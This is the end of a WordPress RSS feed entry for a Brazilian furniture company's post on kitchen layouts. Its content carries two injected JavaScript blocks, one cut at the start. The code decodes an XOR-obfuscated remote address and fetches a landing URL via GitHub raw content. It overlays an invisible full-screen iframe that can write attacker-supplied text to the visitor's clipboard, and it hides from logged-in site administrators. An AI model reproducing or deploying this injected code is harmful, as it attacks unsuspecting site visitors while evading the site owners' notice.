      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/diferentes-layouts-cozinha-funcional/">Os diferentes layouts para uma cozinha funcional e sofisticada</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://marel.com.br/diferentes-layouts-cozinha-funcional/feed/</wfw:commentRss>
			<slash:comments>1090</slash:comments>
		
		
			</item>
	</channel>
</rss>
